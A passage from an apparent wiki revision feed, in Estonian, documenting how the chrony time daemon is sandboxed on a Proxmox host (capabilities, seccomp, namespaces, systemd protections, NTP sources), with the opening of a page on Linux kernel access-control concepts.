ning systemd vastavad seadistused&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pve-svc-02:~# systemctl show chrony | egrep &amp;quot;^Prot|^Priv|^Capab&amp;quot; | egrep &amp;quot;restore$|yes$&amp;quot;&lt;br /&gt;
CapabilityBoundingSet=cap_chown cap_dac_override cap_dac_read_search cap_fowner cap_fsetid cap_setgid cap_setuid cap_setpcap cap_net_bind_service cap_net_broadcast cap_net_admin cap_net_raw cap_ipc_lock cap_ipc_owner cap_sys_nice cap_sys_resource cap_sys_time cap_setfcap cap_perfmon cap_bpf cap_checkpoint_restore&lt;br /&gt;
PrivateTmp=yes&lt;br /&gt;
ProtectKernelTunables=yes&lt;br /&gt;
ProtectKernelModules=yes&lt;br /&gt;
ProtectKernelLogs=yes&lt;br /&gt;
ProtectControlGroups=yes&lt;br /&gt;
ProtectControlGroupsEx=yes&lt;br /&gt;
ProtectHome=yes&lt;br /&gt;
ProtectHostname=yes&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Misc - chrony teenus===&lt;br /&gt;
&lt;br /&gt;
Seadistus&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pve-svc-02:~# egrep &amp;quot;pool|server&amp;quot; /etc/chrony/chrony.conf&lt;br /&gt;
# pool 2.debian.pool.ntp.org iburst&lt;br /&gt;
&lt;br /&gt;
root@pve-svc-02:~# cat /etc/chrony/sources.d/local-ntp-server.sources&lt;br /&gt;
server 10.192.0.53 iburst&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
sources info&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pve-svc-02:~# chronyc sources -v -n&lt;br /&gt;
&lt;br /&gt;
  .-- Source mode  '^' = server, '=' = peer, '#' = local clock.&lt;br /&gt;
 / .- Source state '*' = current best, '+' = combined, '-' = not combined,&lt;br /&gt;
| /             'x' = may be in error, '~' = too variable, '?' = unusable.&lt;br /&gt;
||                                                 .- xxxx [ yyyy ] +/- zzzz&lt;br /&gt;
||      Reachability register (octal) -.           |  xxxx = adjusted offset,&lt;br /&gt;
||      Log2(Polling interval) --.      |          |  yyyy = measured offset,&lt;br /&gt;
||                                \     |          |  zzzz = estimated error.&lt;br /&gt;
||                                 |    |           \&lt;br /&gt;
MS Name/IP address         Stratum Poll Reach LastRx Last sample&lt;br /&gt;
===============================================================================&lt;br /&gt;
^* 10.192.0.53                   4   9   377   413   -135us[ -216us] +/- 3171us&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
tracking info&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pve-svc-02:~# chronyc tracking&lt;br /&gt;
Reference ID    : 0AC00035 (10.192.0.53)&lt;br /&gt;
Stratum         : 5&lt;br /&gt;
Ref time (UTC)  : Sun May 03 17:25:18 2026&lt;br /&gt;
System time     : 0.000016197 seconds slow of NTP time&lt;br /&gt;
Last offset     : -0.000080330 seconds&lt;br /&gt;
RMS offset      : 0.000049475 seconds&lt;br /&gt;
Frequency       : 0.712 ppm fast&lt;br /&gt;
Residual freq   : -0.006 ppm&lt;br /&gt;
Skew            : 0.085 ppm&lt;br /&gt;
Root delay      : 0.006004042 seconds&lt;br /&gt;
Root dispersion : 0.000445185 seconds&lt;br /&gt;
Update interval : 517.6 seconds&lt;br /&gt;
Leap status     : Normal&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Kasulikud lisamaterjalid===&lt;br /&gt;
&lt;br /&gt;
* TODO&lt;/div&gt;</summary>
		<author><name>Imre</name></author>
	</entry>
	<entry>
		<id>https://www.auul.pri.ee/wiki/index.php?title=Chrony&amp;diff=3435</id>
		<title>Chrony</title>
		<link rel="alternate" type="text/html" href="https://www.auul.pri.ee/wiki/index.php?title=Chrony&amp;diff=3435"/>
		<updated>2026-05-03T23:16:34Z</updated>

		<summary type="html">&lt;p&gt;Imre: /* Misc - chrony protsess */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;===Sissejuhatus===&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
===Tööpõhimõte===&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
===Misc - chrony protsess===&lt;br /&gt;
&lt;br /&gt;
chronyd protsessi info&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pve-svc-02:~# pgrep chronyd&lt;br /&gt;
1436092&lt;br /&gt;
1436093&lt;br /&gt;
root@pve-svc-02:~# lsns -p 1436093&lt;br /&gt;
        NS TYPE   NPROCS     PID USER    COMMAND&lt;br /&gt;
4026531833 net       481       1 root    /sbin/init&lt;br /&gt;
4026531834 time      481       1 root    /sbin/init&lt;br /&gt;
4026531835 cgroup    481       1 root    /sbin/init&lt;br /&gt;
4026531836 pid       481       1 root    /sbin/init&lt;br /&gt;
4026531837 user      481       1 root    /sbin/init&lt;br /&gt;
4026531839 ipc       481       1 root    /sbin/init&lt;br /&gt;
4026533035 mnt         2 1436092 _chrony ├─/usr/sbin/chronyd -F 1&lt;br /&gt;
4026533036 uts         2 1436092 _chrony └─/usr/sbin/chronyd -F 1&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pve-svc-02:~# cat /proc/1436092/status | grep -i seccomp&lt;br /&gt;
Seccomp:	2&lt;br /&gt;
Seccomp_filters:	23&lt;br /&gt;
&lt;br /&gt;
root@pve-svc-02:~# nsenter -m -t 1436092 findmnt | grep inacc | sed -r 's/tmpfs\s+.*//'&lt;br /&gt;
│ └─/dev/kmsg                                                    tmpfs[/systemd/inaccessible/chr]&lt;br /&gt;
│ ├─/run/credentials                                             tmpfs[/systemd/inaccessible/dir]&lt;br /&gt;
│ ├─/run/user                                                    tmpfs[/systemd/inaccessible/dir]&lt;br /&gt;
├─/root                                                          tmpfs[/systemd/inaccessible/dir]&lt;br /&gt;
├─/home                                                          tmpfs[/systemd/inaccessible/dir]&lt;br /&gt;
├─/usr/lib/modules                                               tmpfs[/systemd/inaccessible/dir]&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ning capabilities&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pve-svc-02:~# pscap -p 1436092&lt;br /&gt;
ppid  pid   uid         command             capabilities&lt;br /&gt;
1     1436092 _chrony     chronyd             net_bind_service, sys_time +&lt;br /&gt;
&lt;br /&gt;
root@pve-svc-02:~# pscap -p 1436093&lt;br /&gt;
ppid  pid   uid         command             capabilities&lt;br /&gt;
1436092 1436093 _chrony     chronyd             net_bind_service, sys_time +&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
või getpcaps abil&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pve-svc-02:~# getpcaps 1436092&lt;br /&gt;
1436092: cap_net_bind_service,cap_sys_time=ep&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
või /proc/PID/status abil&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pve-svc-02:~# cat /proc/1436092/status | grep ^Cap&lt;br /&gt;
CapInh:	0000000000000000&lt;br /&gt;
CapPrm:	0000000002000400&lt;br /&gt;
CapEff:	0000000002000400&lt;br /&gt;
CapBnd:	000001c08380fddf&lt;br /&gt;
CapAmb:	0000000000000000&lt;br /&gt;
&lt;br /&gt;
root@pve-svc-02:~# capsh --decode=0000000002000400&lt;br /&gt;
0x0000000002000400=cap_net_bind_service,cap_sys_time&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* CapInh: Inheritable (can be passed to children).&lt;br /&gt;
* CapPrm: Permitted (the maximum &amp;quot;credit limit&amp;quot; of authority).&lt;br /&gt;
* CapEff: Effective (the authority currently being used).&lt;br /&gt;
* CapBnd: Bounding (the hard ceiling that cannot be exceeded).&lt;br /&gt;
* CapAmb: Ambient (applies to unprivileged non-setuid binaries).&lt;br /&gt;
&lt;br /&gt;
ning&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ning systemd vastavad seadistused&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pve-svc-02:~# systemctl show chrony | egrep &amp;quot;^Prot|^Priv|^Capab&amp;quot; | egrep &amp;quot;restore$|yes$&amp;quot;&lt;br /&gt;
CapabilityBoundingSet=cap_chown cap_dac_override cap_dac_read_search cap_fowner cap_fsetid cap_setgid cap_setuid cap_setpcap cap_net_bind_service cap_net_broadcast cap_net_admin cap_net_raw cap_ipc_lock cap_ipc_owner cap_sys_nice cap_sys_resource cap_sys_time cap_setfcap cap_perfmon cap_bpf cap_checkpoint_restore&lt;br /&gt;
PrivateTmp=yes&lt;br /&gt;
ProtectKernelTunables=yes&lt;br /&gt;
ProtectKernelModules=yes&lt;br /&gt;
ProtectKernelLogs=yes&lt;br /&gt;
ProtectControlGroups=yes&lt;br /&gt;
ProtectControlGroupsEx=yes&lt;br /&gt;
ProtectHome=yes&lt;br /&gt;
ProtectHostname=yes&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Misc - chrony teenus===&lt;br /&gt;
&lt;br /&gt;
Seadistus&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pve-svc-02:~# egrep &amp;quot;pool|server&amp;quot; /etc/chrony/chrony.conf&lt;br /&gt;
# pool 2.debian.pool.ntp.org iburst&lt;br /&gt;
&lt;br /&gt;
root@pve-svc-02:~# cat /etc/chrony/sources.d/local-ntp-server.sources&lt;br /&gt;
server 10.192.0.53 iburst&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
sources info&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pve-svc-02:~# chronyc sources -v -n&lt;br /&gt;
&lt;br /&gt;
  .-- Source mode  '^' = server, '=' = peer, '#' = local clock.&lt;br /&gt;
 / .- Source state '*' = current best, '+' = combined, '-' = not combined,&lt;br /&gt;
| /             'x' = may be in error, '~' = too variable, '?' = unusable.&lt;br /&gt;
||                                                 .- xxxx [ yyyy ] +/- zzzz&lt;br /&gt;
||      Reachability register (octal) -.           |  xxxx = adjusted offset,&lt;br /&gt;
||      Log2(Polling interval) --.      |          |  yyyy = measured offset,&lt;br /&gt;
||                                \     |          |  zzzz = estimated error.&lt;br /&gt;
||                                 |    |           \&lt;br /&gt;
MS Name/IP address         Stratum Poll Reach LastRx Last sample&lt;br /&gt;
===============================================================================&lt;br /&gt;
^* 10.192.0.53                   4   9   377   413   -135us[ -216us] +/- 3171us&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
tracking info&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pve-svc-02:~# chronyc tracking&lt;br /&gt;
Reference ID    : 0AC00035 (10.192.0.53)&lt;br /&gt;
Stratum         : 5&lt;br /&gt;
Ref time (UTC)  : Sun May 03 17:25:18 2026&lt;br /&gt;
System time     : 0.000016197 seconds slow of NTP time&lt;br /&gt;
Last offset     : -0.000080330 seconds&lt;br /&gt;
RMS offset      : 0.000049475 seconds&lt;br /&gt;
Frequency       : 0.712 ppm fast&lt;br /&gt;
Residual freq   : -0.006 ppm&lt;br /&gt;
Skew            : 0.085 ppm&lt;br /&gt;
Root delay      : 0.006004042 seconds&lt;br /&gt;
Root dispersion : 0.000445185 seconds&lt;br /&gt;
Update interval : 517.6 seconds&lt;br /&gt;
Leap status     : Normal&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Kasulikud lisamaterjalid===&lt;br /&gt;
&lt;br /&gt;
* TODO&lt;/div&gt;</summary>
		<author><name>Imre</name></author>
	</entry>
	<entry>
		<id>https://www.auul.pri.ee/wiki/index.php?title=Chrony&amp;diff=3434</id>
		<title>Chrony</title>
		<link rel="alternate" type="text/html" href="https://www.auul.pri.ee/wiki/index.php?title=Chrony&amp;diff=3434"/>
		<updated>2026-05-03T23:14:21Z</updated>

		<summary type="html">&lt;p&gt;Imre: /* Misc - chrony protsess */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;===Sissejuhatus===&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
===Tööpõhimõte===&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
===Misc - chrony protsess===&lt;br /&gt;
&lt;br /&gt;
chronyd protsessi info&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pve-svc-02:~# pgrep chronyd&lt;br /&gt;
1436092&lt;br /&gt;
1436093&lt;br /&gt;
root@pve-svc-02:~# lsns -p 1436093&lt;br /&gt;
        NS TYPE   NPROCS     PID USER    COMMAND&lt;br /&gt;
4026531833 net       481       1 root    /sbin/init&lt;br /&gt;
4026531834 time      481       1 root    /sbin/init&lt;br /&gt;
4026531835 cgroup    481       1 root    /sbin/init&lt;br /&gt;
4026531836 pid       481       1 root    /sbin/init&lt;br /&gt;
4026531837 user      481       1 root    /sbin/init&lt;br /&gt;
4026531839 ipc       481       1 root    /sbin/init&lt;br /&gt;
4026533035 mnt         2 1436092 _chrony ├─/usr/sbin/chronyd -F 1&lt;br /&gt;
4026533036 uts         2 1436092 _chrony └─/usr/sbin/chronyd -F 1&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pve-svc-02:~# cat /proc/1436092/status | grep -i seccomp&lt;br /&gt;
Seccomp:	2&lt;br /&gt;
Seccomp_filters:	23&lt;br /&gt;
&lt;br /&gt;
root@pve-svc-02:~# nsenter -m -t 1436092 findmnt | grep inacc | sed -r 's/tmpfs\s+.*//'&lt;br /&gt;
│ └─/dev/kmsg                                                    tmpfs[/systemd/inaccessible/chr]&lt;br /&gt;
│ ├─/run/credentials                                             tmpfs[/systemd/inaccessible/dir]&lt;br /&gt;
│ ├─/run/user                                                    tmpfs[/systemd/inaccessible/dir]&lt;br /&gt;
├─/root                                                          tmpfs[/systemd/inaccessible/dir]&lt;br /&gt;
├─/home                                                          tmpfs[/systemd/inaccessible/dir]&lt;br /&gt;
├─/usr/lib/modules                                               tmpfs[/systemd/inaccessible/dir]&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ning capabilities&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pve-svc-02:~# pscap -p 1436092&lt;br /&gt;
ppid  pid   uid         command             capabilities&lt;br /&gt;
1     1436092 _chrony     chronyd             net_bind_service, sys_time +&lt;br /&gt;
&lt;br /&gt;
root@pve-svc-02:~# pscap -p 1436093&lt;br /&gt;
ppid  pid   uid         command             capabilities&lt;br /&gt;
1436092 1436093 _chrony     chronyd             net_bind_service, sys_time +&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
või getpcaps abil&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pve-svc-02:~# getpcaps 1436092&lt;br /&gt;
1436092: cap_net_bind_service,cap_sys_time=ep&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ning systemd vastavad seadistused&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pve-svc-02:~# systemctl show chrony | egrep &amp;quot;^Prot|^Priv|^Capab&amp;quot; | egrep &amp;quot;restore$|yes$&amp;quot;&lt;br /&gt;
CapabilityBoundingSet=cap_chown cap_dac_override cap_dac_read_search cap_fowner cap_fsetid cap_setgid cap_setuid cap_setpcap cap_net_bind_service cap_net_broadcast cap_net_admin cap_net_raw cap_ipc_lock cap_ipc_owner cap_sys_nice cap_sys_resource cap_sys_time cap_setfcap cap_perfmon cap_bpf cap_checkpoint_restore&lt;br /&gt;
PrivateTmp=yes&lt;br /&gt;
ProtectKernelTunables=yes&lt;br /&gt;
ProtectKernelModules=yes&lt;br /&gt;
ProtectKernelLogs=yes&lt;br /&gt;
ProtectControlGroups=yes&lt;br /&gt;
ProtectControlGroupsEx=yes&lt;br /&gt;
ProtectHome=yes&lt;br /&gt;
ProtectHostname=yes&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Misc - chrony teenus===&lt;br /&gt;
&lt;br /&gt;
Seadistus&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pve-svc-02:~# egrep &amp;quot;pool|server&amp;quot; /etc/chrony/chrony.conf&lt;br /&gt;
# pool 2.debian.pool.ntp.org iburst&lt;br /&gt;
&lt;br /&gt;
root@pve-svc-02:~# cat /etc/chrony/sources.d/local-ntp-server.sources&lt;br /&gt;
server 10.192.0.53 iburst&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
sources info&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pve-svc-02:~# chronyc sources -v -n&lt;br /&gt;
&lt;br /&gt;
  .-- Source mode  '^' = server, '=' = peer, '#' = local clock.&lt;br /&gt;
 / .- Source state '*' = current best, '+' = combined, '-' = not combined,&lt;br /&gt;
| /             'x' = may be in error, '~' = too variable, '?' = unusable.&lt;br /&gt;
||                                                 .- xxxx [ yyyy ] +/- zzzz&lt;br /&gt;
||      Reachability register (octal) -.           |  xxxx = adjusted offset,&lt;br /&gt;
||      Log2(Polling interval) --.      |          |  yyyy = measured offset,&lt;br /&gt;
||                                \     |          |  zzzz = estimated error.&lt;br /&gt;
||                                 |    |           \&lt;br /&gt;
MS Name/IP address         Stratum Poll Reach LastRx Last sample&lt;br /&gt;
===============================================================================&lt;br /&gt;
^* 10.192.0.53                   4   9   377   413   -135us[ -216us] +/- 3171us&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
tracking info&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pve-svc-02:~# chronyc tracking&lt;br /&gt;
Reference ID    : 0AC00035 (10.192.0.53)&lt;br /&gt;
Stratum         : 5&lt;br /&gt;
Ref time (UTC)  : Sun May 03 17:25:18 2026&lt;br /&gt;
System time     : 0.000016197 seconds slow of NTP time&lt;br /&gt;
Last offset     : -0.000080330 seconds&lt;br /&gt;
RMS offset      : 0.000049475 seconds&lt;br /&gt;
Frequency       : 0.712 ppm fast&lt;br /&gt;
Residual freq   : -0.006 ppm&lt;br /&gt;
Skew            : 0.085 ppm&lt;br /&gt;
Root delay      : 0.006004042 seconds&lt;br /&gt;
Root dispersion : 0.000445185 seconds&lt;br /&gt;
Update interval : 517.6 seconds&lt;br /&gt;
Leap status     : Normal&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Kasulikud lisamaterjalid===&lt;br /&gt;
&lt;br /&gt;
* TODO&lt;/div&gt;</summary>
		<author><name>Imre</name></author>
	</entry>
	<entry>
		<id>https://www.auul.pri.ee/wiki/index.php?title=Chrony&amp;diff=3433</id>
		<title>Chrony</title>
		<link rel="alternate" type="text/html" href="https://www.auul.pri.ee/wiki/index.php?title=Chrony&amp;diff=3433"/>
		<updated>2026-05-03T23:11:23Z</updated>

		<summary type="html">&lt;p&gt;Imre: /* Misc - chrony protsess */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;===Sissejuhatus===&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
===Tööpõhimõte===&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
===Misc - chrony protsess===&lt;br /&gt;
&lt;br /&gt;
chronyd protsessi info&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pve-svc-02:~# pgrep chronyd&lt;br /&gt;
1436092&lt;br /&gt;
1436093&lt;br /&gt;
root@pve-svc-02:~# lsns -p 1436093&lt;br /&gt;
        NS TYPE   NPROCS     PID USER    COMMAND&lt;br /&gt;
4026531833 net       481       1 root    /sbin/init&lt;br /&gt;
4026531834 time      481       1 root    /sbin/init&lt;br /&gt;
4026531835 cgroup    481       1 root    /sbin/init&lt;br /&gt;
4026531836 pid       481       1 root    /sbin/init&lt;br /&gt;
4026531837 user      481       1 root    /sbin/init&lt;br /&gt;
4026531839 ipc       481       1 root    /sbin/init&lt;br /&gt;
4026533035 mnt         2 1436092 _chrony ├─/usr/sbin/chronyd -F 1&lt;br /&gt;
4026533036 uts         2 1436092 _chrony └─/usr/sbin/chronyd -F 1&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pve-svc-02:~# cat /proc/1436092/status | grep -i seccomp&lt;br /&gt;
Seccomp:	2&lt;br /&gt;
Seccomp_filters:	23&lt;br /&gt;
&lt;br /&gt;
root@pve-svc-02:~# nsenter -m -t 1436092 findmnt | grep inacc | sed -r 's/tmpfs\s+.*//'&lt;br /&gt;
│ └─/dev/kmsg                                                    tmpfs[/systemd/inaccessible/chr]&lt;br /&gt;
│ ├─/run/credentials                                             tmpfs[/systemd/inaccessible/dir]&lt;br /&gt;
│ ├─/run/user                                                    tmpfs[/systemd/inaccessible/dir]&lt;br /&gt;
├─/root                                                          tmpfs[/systemd/inaccessible/dir]&lt;br /&gt;
├─/home                                                          tmpfs[/systemd/inaccessible/dir]&lt;br /&gt;
├─/usr/lib/modules                                               tmpfs[/systemd/inaccessible/dir]&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ning capabilities&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pve-svc-02:~# pscap -p 1436092&lt;br /&gt;
ppid  pid   uid         command             capabilities&lt;br /&gt;
1     1436092 _chrony     chronyd             net_bind_service, sys_time +&lt;br /&gt;
&lt;br /&gt;
root@pve-svc-02:~# pscap -p 1436093&lt;br /&gt;
ppid  pid   uid         command             capabilities&lt;br /&gt;
1436092 1436093 _chrony     chronyd             net_bind_service, sys_time +&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ning systemd vastavad seadistused&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pve-svc-02:~# systemctl show chrony | egrep &amp;quot;^Prot|^Priv|^Capab&amp;quot; | egrep &amp;quot;restore$|yes$&amp;quot;&lt;br /&gt;
CapabilityBoundingSet=cap_chown cap_dac_override cap_dac_read_search cap_fowner cap_fsetid cap_setgid cap_setuid cap_setpcap cap_net_bind_service cap_net_broadcast cap_net_admin cap_net_raw cap_ipc_lock cap_ipc_owner cap_sys_nice cap_sys_resource cap_sys_time cap_setfcap cap_perfmon cap_bpf cap_checkpoint_restore&lt;br /&gt;
PrivateTmp=yes&lt;br /&gt;
ProtectKernelTunables=yes&lt;br /&gt;
ProtectKernelModules=yes&lt;br /&gt;
ProtectKernelLogs=yes&lt;br /&gt;
ProtectControlGroups=yes&lt;br /&gt;
ProtectControlGroupsEx=yes&lt;br /&gt;
ProtectHome=yes&lt;br /&gt;
ProtectHostname=yes&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Misc - chrony teenus===&lt;br /&gt;
&lt;br /&gt;
Seadistus&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pve-svc-02:~# egrep &amp;quot;pool|server&amp;quot; /etc/chrony/chrony.conf&lt;br /&gt;
# pool 2.debian.pool.ntp.org iburst&lt;br /&gt;
&lt;br /&gt;
root@pve-svc-02:~# cat /etc/chrony/sources.d/local-ntp-server.sources&lt;br /&gt;
server 10.192.0.53 iburst&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
sources info&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pve-svc-02:~# chronyc sources -v -n&lt;br /&gt;
&lt;br /&gt;
  .-- Source mode  '^' = server, '=' = peer, '#' = local clock.&lt;br /&gt;
 / .- Source state '*' = current best, '+' = combined, '-' = not combined,&lt;br /&gt;
| /             'x' = may be in error, '~' = too variable, '?' = unusable.&lt;br /&gt;
||                                                 .- xxxx [ yyyy ] +/- zzzz&lt;br /&gt;
||      Reachability register (octal) -.           |  xxxx = adjusted offset,&lt;br /&gt;
||      Log2(Polling interval) --.      |          |  yyyy = measured offset,&lt;br /&gt;
||                                \     |          |  zzzz = estimated error.&lt;br /&gt;
||                                 |    |           \&lt;br /&gt;
MS Name/IP address         Stratum Poll Reach LastRx Last sample&lt;br /&gt;
===============================================================================&lt;br /&gt;
^* 10.192.0.53                   4   9   377   413   -135us[ -216us] +/- 3171us&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
tracking info&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pve-svc-02:~# chronyc tracking&lt;br /&gt;
Reference ID    : 0AC00035 (10.192.0.53)&lt;br /&gt;
Stratum         : 5&lt;br /&gt;
Ref time (UTC)  : Sun May 03 17:25:18 2026&lt;br /&gt;
System time     : 0.000016197 seconds slow of NTP time&lt;br /&gt;
Last offset     : -0.000080330 seconds&lt;br /&gt;
RMS offset      : 0.000049475 seconds&lt;br /&gt;
Frequency       : 0.712 ppm fast&lt;br /&gt;
Residual freq   : -0.006 ppm&lt;br /&gt;
Skew            : 0.085 ppm&lt;br /&gt;
Root delay      : 0.006004042 seconds&lt;br /&gt;
Root dispersion : 0.000445185 seconds&lt;br /&gt;
Update interval : 517.6 seconds&lt;br /&gt;
Leap status     : Normal&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Kasulikud lisamaterjalid===&lt;br /&gt;
&lt;br /&gt;
* TODO&lt;/div&gt;</summary>
		<author><name>Imre</name></author>
	</entry>
	<entry>
		<id>https://www.auul.pri.ee/wiki/index.php?title=Linux_kernel_kontrollib_tegevusi&amp;diff=3432</id>
		<title>Linux kernel kontrollib tegevusi</title>
		<link rel="alternate" type="text/html" href="https://www.auul.pri.ee/wiki/index.php?title=Linux_kernel_kontrollib_tegevusi&amp;diff=3432"/>
		<updated>2026-05-03T22:52:01Z</updated>

		<summary type="html">&lt;p&gt;Imre: /* Tööpõhimõte */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;===Sissejuhatus===&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
===Mõisted===&lt;br /&gt;
&lt;br /&gt;
* seccomp&lt;br /&gt;
* capabilities&lt;br /&gt;
* dac/acl&lt;br /&gt;
* lsm&lt;br /&gt;
&lt;br /&gt;
===Tööpõhimõte===&lt;br /&gt;
&lt;br /&gt;
Väited&lt;br /&gt;
&lt;br /&gt;
* üldiselt tahab protsess kasutada mingit ressurssi ja seda on vaja kontrollida (nt peab süsteem otsustama, kas seda kasutamist lubada)&lt;br /&gt;
* privileegid (st õigus midagi teha, midagi kasutada) pole mitte niivõrd kasutajal, aga privileegid on protsessil&lt;br /&gt;
* protsessi privileegid tulenevad muu hulgast kolmest asjaolust: 1. seccomp syscall tulemüür, 2. capabilities, 3. lsm&lt;br /&gt;
* system call (syscall, 'make system call') - xxx&lt;br /&gt;
&lt;br /&gt;
Syscallisid on üldiselt kahesuguseid&lt;br /&gt;
&lt;br /&gt;
* Automatic Syscalls: Actions like mmap(), read(), or brk() are considered &amp;quot;safe.&amp;quot; The kernel assumes that if you have the memory or the file handle, you can perform these actions. No special &amp;quot;permission&amp;quot; is needed beyond standard file permissions.&lt;br /&gt;
* Restricted Syscalls: Actions like clock_adjtime(), reboot(), or mount() are &amp;quot;dangerous.&amp;quot; Historically, the kernel had a simple rule: if (uid == 0) (Root), allow; else, deny.&lt;br /&gt;
&lt;br /&gt;
Väited syscall kasutamise kohta&lt;br /&gt;
&lt;br /&gt;
